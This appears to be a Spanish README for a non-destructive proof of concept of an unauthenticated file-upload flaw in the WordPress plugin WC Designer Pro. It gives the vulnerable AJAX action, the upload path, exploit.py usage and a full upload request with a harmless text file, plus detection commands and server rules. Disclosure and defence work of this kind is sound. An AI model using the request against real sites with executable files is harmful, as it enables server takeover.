
Una prueba de concepto no destructiva para una vulnerabilidad de carga arbitraria de archivos sin autenticación que afecta al plugin de WordPress WC Designer Pro.
WC Designer Pro contiene una vulnerabilidad de carga arbitraria de archivos sin autenticación en una acción AJAX expuesta a través del endpoint admin-ajax.php de WordPress.
El controlador afectado procesa metadatos de archivo y contenidos de archivo controlados por el usuario sin aplicar autenticación, autorización, validación de extensiones, validación de tipo MIME ni restricciones de nombre de archivo en el servidor.
En configuraciones vulnerables, un atacante sin autenticación podría cargar un archivo ejecutable por el servidor en un directorio accesible por web. La explotación exitosa puede resultar en la ejecución remota de código con los privilegios del proceso del servidor web.
El rango exacto de versiones afectadas, el identificador CVE y la puntuación CVSS solo deben publicarse después de haber sido verificados de forma independiente.
La explotación exitosa podría permitir a un atacante sin autenticación:
El impacto final depende de la configuración del servidor web, las reglas de ejecución de PHP, los permisos del sistema de archivos y los controles de seguridad implementados por el proveedor de alojamiento.
El rango de versiones afectadas se está validando actualmente.
Product: WC Designer Pro
Affected versions: To be confirmed
Fixed version: To be confirmed
Patch status: To be confirmed
No afirmar que todas las versiones están afectadas a menos que las pruebas o la confirmación del proveedor respalden esa conclusión.
El flujo de carga vulnerable parece confiar en valores controlados por el atacante proporcionados a la siguiente acción AJAX:
wcdp_save_canvas_design_ajax
La solicitud contiene metadatos de archivo como:
La vulnerabilidad existe cuando el servidor acepta estos valores sin realizar todos los controles siguientes:
Unauthenticated request
│
▼
/wp-admin/admin-ajax.php
│
▼
action=wcdp_save_canvas_design_ajax
│
▼
Insufficient validation of uploaded file
│
▼
File written to a web-accessible directory
│
▼
Potential server-side code execution
La ruta de carga observada sigue esta estructura:
/wp-content/uploads/wcdp-uploads/temp/{identifier}/{filename}
La ruta exacta puede variar según la versión del plugin, la configuración de WordPress y el entorno del servidor.
pipEsta prueba de concepto no debe utilizarse contra sistemas de terceros sin autorización explícita por escrito.
Clona el repositorio:
git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc
Crea y activa un entorno virtual:
python3 -m venv .venv
source .venv/bin/activate
En Windows:
python -m venv .venv
.venv\Scripts\Activate.ps1
Instala las dependencias:
pip install -r requirements.txt
Ejemplo de requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
La prueba de concepto debe ejecutarse únicamente contra un único objetivo de laboratorio autorizado.
python3 exploit.py --url https://wordpress-lab.example
Para una verificación no destructiva:
python3 exploit.py \
--url https://wordpress-lab.example \
--file ./payloads/verification.txt
Ejemplo de archivo de verificación:
WC Designer Pro security verification
Researcher: m2hcz
Purpose: Authorized non-destructive testing
Usa el comando de ayuda integrado para ver los argumentos admitidos:
python3 exploit.py --help
Salida de ejemplo:
usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]
WC Designer Pro arbitrary file-upload verification PoC
options:
-h, --help show this help message and exit
--url URL authorized WordPress target
--file FILE harmless verification file
--timeout SECONDS HTTP request timeout
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary
La solicitud invoca:
action=wcdp_save_canvas_design_ajax
A continuación se muestra una estructura simplificada de la solicitud:
------Boundary
Content-Disposition: form-data; name="action"
wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"
{
"mode": "save",
"editor": "frontend",
"uniq": "research-verification",
"files": [
{
"name": "verification",
"ext": "txt",
"count": "file1"
}
]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain
Authorized security verification
------Boundary--
Este ejemplo utiliza intencionadamente un archivo de texto no ejecutable.
Una solicitud exitosa puede devolver una respuesta similar a:
{
"userID": false,
"filesCMYK": [],
"success": true
}
Una respuesta exitosa por sí sola no demuestra la ejecución remota de código. El investigador debe confirmar por separado que:
El procedimiento de verificación recomendado es:
.txt inofensivo.Evita cargar webshells o payloads de ejecución de comandos cuando un archivo marcador inofensivo sea suficiente para demostrar la vulnerabilidad.
Un informe válido debe contener:
Los administradores deben inspeccionar el siguiente directorio:
/wp-content/uploads/wcdp-uploads/temp/
Los indicadores potenciales incluyen:
.php, .phtml, .phar o similares.admin-ajax.php que utilizan la acción AJAX afectada.Búsqueda de ejemplo en registros:
grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/
Búsqueda de ejemplo en el sistema de archivos:
find wp-content/uploads/wcdp-uploads/temp \
-type f \
\( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)
Los administradores del sitio deben:
Para Nginx, denegar la ejecución de PHP dentro de las subidas:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
Para Apache, colocar una regla adecuada dentro del directorio de subidas:
<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
Require all denied
</FilesMatch>
Estos controles son medidas de defensa en profundidad y no sustituyen la corrección del código vulnerable del plugin.
Los mantenedores del plugin deben:
current_user_can().wp_check_filetype_and_ext().Este repositorio está destinado exclusivamente a:
No uses este código para acceder, modificar, interrumpir o comprometer sistemas sin autorización explícita.
El autor no es responsable del uso no autorizado, ilegal o abusivo de este material. Los usuarios son los únicos responsables de cumplir con las leyes, contratos, reglas de enfrentamiento y requisitos de divulgación coordinada de vulnerabilidades aplicables.
Discovery date: To be added
Vendor contacted: To be added
Vendor response: To be added
Patch released: To be added
CVE requested: To be added
CVE assigned: To be added
Public disclosure: To be added
No publiques un CVE de marcador de posición como si fuera un identificador asignado.
Cuando se asigne un CVE, reemplaza el marcador de posición con el registro oficial:
CVE: CVE-YYYY-NNNNN
CVSS: Official or documented researcher assessment
|
m2hcz Investigador de Seguridad Ofensiva GitHub · Portafolio |
La investigación de seguridad debe reducir el riesgo, no crearlo.
Hecho para pruebas de seguridad autorizadas por m2hcz.
| Propiedad | Valor |
|---|
| Producto | WC Designer Pro |
| Plataforma | WordPress |
| Clase de vulnerabilidad | Carga arbitraria de archivos sin restricciones |
| CWE | CWE-434 |
| Autenticación requerida | No |
| Interacción del usuario requerida | No |
| Impacto potencial | Ejecución remota de código |
| Complejidad del ataque | Baja |
| Componente vulnerable | Manejador de carga AJAX de WordPress |
| Acción AJAX | wcdp_save_canvas_design_ajax |